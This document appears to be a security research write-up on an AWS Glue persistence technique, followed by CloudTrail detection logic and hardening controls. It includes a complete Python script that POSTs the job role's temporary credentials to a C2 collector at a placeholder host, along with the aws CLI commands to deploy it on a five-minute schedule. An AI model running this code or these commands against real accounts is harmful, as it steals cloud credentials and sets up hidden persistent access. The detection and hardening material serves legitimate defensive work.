AWS Glue can run a Python script from Amazon S3 under a supplied IAM job role. A scheduled Glue trigger can start that job repeatedly. Together, these features provide a compact persistence path: each job run resolves fresh temporary credentials for the job role and sends them to a C2.
Python shell jobs are sufficient for this technique. They support Python 3.9, can run with 0.0625 DPU, and do not need a Spark environment.[1]
How the technique works
flowchart TB
P([Compromised principal])
B[Amazon S3 script object]
J[AWS Glue Python shell job]
T[AWS Glue scheduled trigger]
R(Glue job-role session)
C([C2 endpoint])
P -->|s3:PutObject| B
P -->|glue:CreateJob + iam:PassRole| J
P -->|glue:CreateTrigger| T
B -->|ScriptLocation| J
T -->|scheduled job run| J
J -->|Boto3 credential provider| R
R -->|HTTPS POST| C
class P principal
class B,J,T awsResource
class R credential
class C c2
The job definition stores an S3 ScriptLocation and the IAM role that Glue assumes. The trigger stores the job name and a UTC cron expression. Once active, it launches a new job run on each matching schedule.[2][3]
The lowest-permission route is an existing scheduled Python shell job whose script object is writable. Replacing that S3 object changes what later runs execute without changing the Glue job or trigger. Where no suitable job exists, the principal can create the job and schedule shown below.
Preconditions
The deployment principal needs:
s3:PutObjectfor the script object.glue:CreateJobfor the new job.iam:PassRolefor the selected Glue job role.glue:CreateTriggerfor the recurring schedule.
The job role must trust glue.amazonaws.com and allow s3:GetObject on the script. Its identity policy also determines the AWS permissions carried by every credential set collected from the job.[4]
The job must reach the C2 over HTTPS. If the job uses a Glue VPC connection, the selected subnet needs a NAT path for public internet access because Glue-created network interfaces receive private IP addresses only.[5]
Execution
The script uses Boto3’s active credential provider and freezes the result before serializing it. The analytics library set included with Python shell 3.9 provides Boto3.[6]
import json
import urllib.request
from datetime import datetime, timezone
import boto3
COLLECTOR_URL = "https://collector.example/ingest"
credentials = boto3.Session().get_credentials()
if credentials is None:
raise RuntimeError("Boto3 did not resolve Glue job-role credentials")
frozen = credentials.get_frozen_credentials()
payload = json.dumps(
{
"observed_at": datetime.now(timezone.utc).isoformat(),
"credentials": {
"access_key_id": frozen.access_key,
"secret_access_key": frozen.secret_key,
"session_token": frozen.token,
},
}
).encode("utf-8")
request = urllib.request.Request(
COLLECTOR_URL,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=3) as response:
response.read()
Upload the script to the object referenced by the job:
aws s3 cp glue_beacon.py \
s3://application-processing/scripts/glue_beacon.py
If that object already backs a scheduled job, later runs execute the replacement. Otherwise, create a Python shell job. The collector URL stays in the script rather than job arguments because Glue may log argument values.[1:1]
aws glue create-job \
--name application-processing \
--role arn:aws:iam::111122223333:role/AWSGlueServiceRole-application-processing \
--command '{"Name":"pythonshell","PythonVersion":"3.9","ScriptLocation":"s3://application-processing/scripts/glue_beacon.py"}' \
--default-arguments '{"--library-set":"analytics"}' \
--max-capacity 0.0625
Create an active trigger that starts the job every five minutes:
aws glue create-trigger \
--name application-processing-schedule \
--type SCHEDULED \
--schedule 'cron(0/5 * * * ? *)' \
--actions JobName=application-processing \
--start-on-creation
Glue cron expressions use UTC and six fields. Five minutes is the minimum supported interval. StartOnCreation activates a scheduled trigger as part of CreateTrigger, so a separate StartTrigger call is not required.[7][3:1]
Detection
The strongest signal is a relationship, not a single event: an S3 script write, a Glue job that references the same bucket and key, and a scheduled trigger whose action references that job. The script-only replacement path makes S3 object data events especially important. CloudTrail does not log S3 data events by default.[8]
Glue API calls appear as CloudTrail management events with eventSource set to glue.amazonaws.com. The focused record below keeps the standard identity context and the CreateTrigger fields that define recurrence.[9][3:2]
{
"eventTime": "2026-09-01T12:00:00Z",
"eventSource": "glue.amazonaws.com",
"eventName": "CreateTrigger",
"awsRegion": "us-east-1",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
},
"sourceIPAddress": "198.51.100.24",
"requestParameters": {
"name": "application-processing-schedule",
"type": "SCHEDULED",
"schedule": "cron(0/5 * * * ? *)",
"actions": [
{
"jobName": "application-processing"
}
],
"startOnCreation": true
}
}
Detection inputs
| Event | Decision-useful fields | Why it matters |
|---|---|---|
s3.amazonaws.com PutObject |
requestParameters.bucketName, requestParameters.key, userIdentity.arn |
Identifies creation or replacement of the executable script. Requires S3 data-event logging. |
glue.amazonaws.com CreateJob |
requestParameters.name, role, command.name, command.scriptLocation, command.pythonVersion, defaultArguments, maxCapacity |
Connects a principal, execution role, runtime, and S3 script. |
glue.amazonaws.com UpdateJob |
requestParameters.jobName, fields under jobUpdate |
Catches repointing an existing job to a different script or role. |
glue.amazonaws.com CreateTrigger |
requestParameters.name, type, schedule, actions[].jobName, startOnCreation |
Establishes the recurring execution path. |
glue.amazonaws.com UpdateTrigger |
requestParameters.name, fields under triggerUpdate |
Catches a new schedule or job action on an existing trigger. |
Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, and errorCode across each event.
Correlation logic
- Select successful
CreateJoborUpdateJobevents whose Python shell runtime, role, script bucket, or initiating principal is outside the deployment baseline. - Parse
command.scriptLocationinto a bucket and key. Join it toPutObjecton that exact object when S3 data events are available. - Within 15 minutes, join
CreateTriggerorUpdateTriggerwhereactions[].jobNamematches the job. Raise confidence when the trigger is scheduled, active on creation, or uses a five-minute interval. - Alert directly on writes to scripts used by existing scheduled Glue jobs, even when no Glue management event follows.
- Correlate repeated outbound HTTPS from the Glue job’s VPC path with a new or rare destination when network telemetry is available.
Tune against approved deployment principals, script prefixes, job roles, job names, and schedules. A job created through an established pipeline is weaker evidence than the same API sequence from an interactive role or a principal that does not normally administer Glue.
Hardening
| Control | Implementation | Why it helps |
|---|---|---|
| Deployment permissions | Limit glue:CreateJob, glue:UpdateJob, glue:CreateTrigger, and glue:UpdateTrigger to dedicated deployment roles. Apply organization guardrails where member accounts do not need Glue administration. |
Prevents general identities from creating or changing executable jobs and their schedules. |
| Role passing | Scope iam:PassRole to approved Glue job roles and require iam:PassedToService to equal glue.amazonaws.com.[10] |
Prevents a deployment identity from attaching an unrelated role to a job. |
| Job-role privilege | Give each job role only the data and API permissions required by that job. Avoid reusable Glue roles with unrelated secret access or role-assumption paths. | Limits the value and reach of credentials exposed from one job. |
| Script integrity | Restrict writes to Glue script prefixes to the release identity. Separate script-write access from job-administration access, and retain S3 object versions for review. | Blocks the lower-permission path that changes only the S3 script object. |
| Network egress | Run jobs that do not need public internet in private subnets without NAT. Use VPC endpoints for required AWS services and restrict security-group egress for VPC-connected jobs. | Removes or narrows the HTTPS path to a C2. |
| Logging coverage | Record organization-wide Glue management events and enable targeted S3 object data events for Glue script prefixes. Preserve the fields needed to join PutObject, job definitions, and trigger actions. |
Keeps the script-only and full provisioning paths observable. |
References
AWS Glue User Guide, Adding Python shell jobs in AWS Glue. ↩︎ ↩︎
AWS Glue API Reference, CreateTrigger. ↩︎ ↩︎ ↩︎
AWS Glue User Guide, Creating an IAM role for AWS Glue. ↩︎
AWS Glue User Guide, Setting up network access to data stores. ↩︎
Boto3 Developer Guide, Credentials. ↩︎
AWS Glue User Guide, Time-based schedules for jobs and crawlers. ↩︎
Amazon S3 User Guide, Amazon S3 CloudTrail events. ↩︎
AWS Glue User Guide, Logging AWS Glue API calls using AWS CloudTrail. ↩︎
AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎